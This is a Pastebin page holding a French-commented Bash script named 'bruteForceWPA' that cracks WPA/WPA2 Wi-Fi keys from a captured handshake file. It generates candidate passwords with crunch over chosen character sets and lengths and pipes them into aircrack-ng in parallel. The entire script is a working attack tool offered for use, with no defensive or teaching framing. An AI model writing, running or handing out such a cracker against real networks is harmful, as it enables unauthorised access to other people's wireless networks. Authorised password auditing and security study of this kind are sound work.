Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- #
- # bruteForceWPA : Script de crack WIFI des clés WPA/WPA2
- # Rodrigue Daniel (email : rodrigue_daniel@yahoo.com)
- # Mon blog : rodriguedaniel.blogspot.com
- # 16/08/2015
- # Dépendances : crunch, aircrack-ng, parallel (version 3)
- # Testé sur Ubuntu et Kali Linux
- set -u
- ###########################################################################################
- # Definitions des variables
- mini="" # variable contenant la longueur minimale des mots de passe
- maxi="" # variable contenant la longueur maximale des mots de passe
- ensCarac="" # variable contenant l'ensemble des caractères à utiler
- numEnsCarac="" # variable contenant le numero de l'ensemble des caractères à utiliser
- fichierCap="" # variable contenant le fichier .cap à craquer
- chaineEssid="" # variable contenant la chaîne essid du point d'accès WIFI
- option="" # variable contenant les options
- optionSeul="" # variable spécifiant le traitement unique de l'option -h ou --help
- comSyntOpt="" # variable spécifiant que la combinaison des options a et m est interdite
- versionParallel="" # variable contenant la version du programme parallel
- # Ensemble des caractères à utiliser
- format1='1 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ]'
- format2='2 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ]'
- format3='3 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+= ]'
- format41='4 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~[]{}|\:;"'
- format42="'"
- format43='<>,.?/ ]'
- ###########################################################################################
- # Debut du script
- version="0.2"
- clear
- echo -e "\e[00;31m###########################################################\e[00m"
- echo -e "\e[00;31m# #\e[00m"
- echo -e "\e[00;31m# bruteForceWPA : crack wifi (WPA/WPA2) #\e[00m"
- echo -e "\e[00;31m# #\e[00m"
- echo -e "\e[00;31m###########################################################\e[00m"
- # Vérification du mode root
- if [[ $EUID -ne 0 ]]; then
- echo -e "\n Erreur : Ce programme doit être éxécuté en root.\n"
- exit 1
- fi
- # Vérification de la présence du programme crunch
- which crunch >/dev/null
- if [ $? -eq 1 ]; then
- echo -e "\n Erreur : Impossible de trouver le programme crunch, installez-le et rééssayez.\n"
- exit 1
- fi
- # Vérification de la présence du programme aircrack-ng
- which aircrack-ng >/dev/null
- if [ $? -eq 1 ]; then
- echo -e "\n Erreur : Impossible de trouver le programme aircrack-ng, installez-le et réessayez.\n"
- exit 1
- fi
- # Vérification de la présence du programme parallel et de sa bonne version
- which parallel >/dev/null
- if [ $? -ne 0 ]; then
- echo -e "\n Erreur : Impossible de trouver le programme parallel, installez-le et réessayez.\n"
- exit 1
- else
- versionParallel=$(parallel --will-cite --version 2> /dev/null | grep version | cut -d " " -f 6)
- if [ $versionParallel -lt 3 ]; then
- echo -e "\n Erreur : Installez une version >= 3 du programme parallel.\n"
- exit 1
- fi
- fi
- while getopts ":a:c:f:g:hm:p:-:" option ; do
- if [ "$option" = "-" ] ; then
- case $OPTARG in
- help ) option=h ;;
- #max ) option=g ;;
- #min ) option=p ;;
- * ) echo "$(basename $0): Option inconnue $OPTARG"
- echo -e "Essayer '$0 --help' pour plus d'information.\n"
- option=""
- ;;
- esac
- fi
- case $option in
- h ) echo -e "\nVersion $(basename $0) $version - (C) 2015"
- echo -e "Auteur: Rodrigue Daniel (email : rodrigue_daniel@yahoo.com) \n"
- echo "Syntaxe : $0 [option...]"
- echo -e "\nOptions :"
- echo " -a <chiffre> : Numéro de l'ensemble des caractères ci-dessous à utiliser (par défaut -> 1)."
- echo ""
- echo -ne "\t"
- echo $format1
- echo -ne "\t"
- echo $format2
- echo -ne "\t"
- echo $format3
- echo -ne "\t"
- echo -n $format41
- echo -n $format42
- echo $format43
- echo -e "\t (Par défaut l'option -a est pris en compte)"
- echo -e "\n -c <essid> : Nom essid du point d'accès WIFI (Option Obligatoire)."
- echo " -f <chaine> : Nom du fichier d'extension '.cap' à craquer (Option Obligatoire)."
- echo " -m <chaine> : Ensemble des caractères à saisir manuellement. Ne pas utiliser avec '-a' ."
- echo " -g <entier> : Longueur maximun des mots de passe (par défaut -> 15)."
- echo " -h, --help : Cet écran d'aide."
- echo -e " -p <entier> : Longueur minimun des mots de passe (par défaut -> 5).\n"
- optionSeul="o"
- exit 1
- ;;
- a ) if [ "$optionSeul" != "o" ] ; then
- if [ "$comSyntOpt" = "m" ] ; then
- echo "Erreur de syntaxe: '-a' ne doit pas être utilisée avec '-m'"
- echo -e "Essayer '$0 --help' pour plus d'information.\n"
- exit 1
- else
- numEnsCarac=$OPTARG
- case $numEnsCarac in
- 1 ) ensCarac="mixalpha-space";;
- 2 ) ensCarac="mixalpha-numeric-space";;
- 3 ) ensCarac="mixalpha-numeric-symbol14-space";;
- 4 ) ensCarac="mixalpha-numeric-all-space";;
- esac
- fi
- fi
- ;;
- c )if [ "$optionSeul" != "o" ] ; then
- chaineEssid=$OPTARG
- fi
- ;;
- f ) if [ "$optionSeul" != "o" ] ; then
- if [ "${OPTARG##*.}" != "cap" ] ; then
- echo "Nom fichier incorrect"
- echo -e "Essayer '$0 --help' pour plus d'information.\n"
- exit 1
- else
- fichierCap=$OPTARG
- fi
- fi
- ;;
- g ) if [ "$optionSeul" != "o" ] ; then
- maxi=$OPTARG
- fi
- ;;
- m ) if [ "$optionSeul" != "o" ] ; then
- if [ "$numEnsCarac" != "" ] ; then
- echo "Erreur de syntaxe: '-a' ne doit pas être utilisée avec '-m'"
- echo -e "Essayer '$0 --help' pour plus d'information.\n"
- exit 1
- else
- ensCarac=$OPTARG
- comSyntOpt="m" # m -> configuration manuelle de l'ensemble des caractères à utiliser
- fi
- fi
- ;;
- p ) if [ "$optionSeul" != "o" ] ; then
- mini=$OPTARG
- fi
- ;;
- : ) if [ "$optionSeul" != "o" ] ; then
- echo "Argument manquant pour l'option -$OPTARG"
- echo -e "Essayer '$0 --help' pour plus d'information.\n"
- exit 1
- fi
- ;;
- ? ) if [ "$optionSeul" != "o" ] ; then
- echo "$(basename $0): Option inconnue $OPTARG"
- echo -e "Essayer '$0 --help' pour plus d'information.\n"
- exit 1
- fi
- ;;
- esac
- done
- # Exécution du crack de la clé WPA/WPA2
- i=${mini:-5}
- j=${maxi:-15}
- if [ $i -eq $j ] ; then
- echo "1" > /tmp/temporaire
- echo "$i" >> /tmp/temporaire
- else
- while [ $i -le $j ] ; do
- echo "$i" >> /tmp/temporaire
- i=$((i + 1))
- done
- fi
- bruteForce ()
- {
- if [ "$numEnsCarac" = "" ] ; then
- ( crunch $1 $1 $ensCarac 2>/dev/null | aircrack-ng $fichierCap -e $chaineEssid -l resCrack -w- ) >/dev/null 2>&1
- else
- ( crunch $1 $1 -f charset.lst $ensCarac 2>/dev/null | aircrack-ng $fichierCap -e $chaineEssid -l resCrack -w- ) >/dev/null 2>&1
- fi
- }
- if [ "$optionSeul" != "o" ] ; then
- if [ "$chaineEssid" = "" ] || [ "$fichierCap" = "" ] ; then
- echo "Les options -c et -f sont obligatoires"
- echo -e "Essayer '$0 --help' pour plus d'information.\n"
- exit 1
- else
- export -f bruteForce
- export numEnsCarac
- export ensCarac
- export fichierCap
- export chaineEssid
- parallel --will-cite --bar -a /tmp/temporaire bruteForce >/dev/null # Parallélisme
- rm /tmp/temporaire
- fi
- fi
- exit 0
Add Comment
Please, Sign In to add comment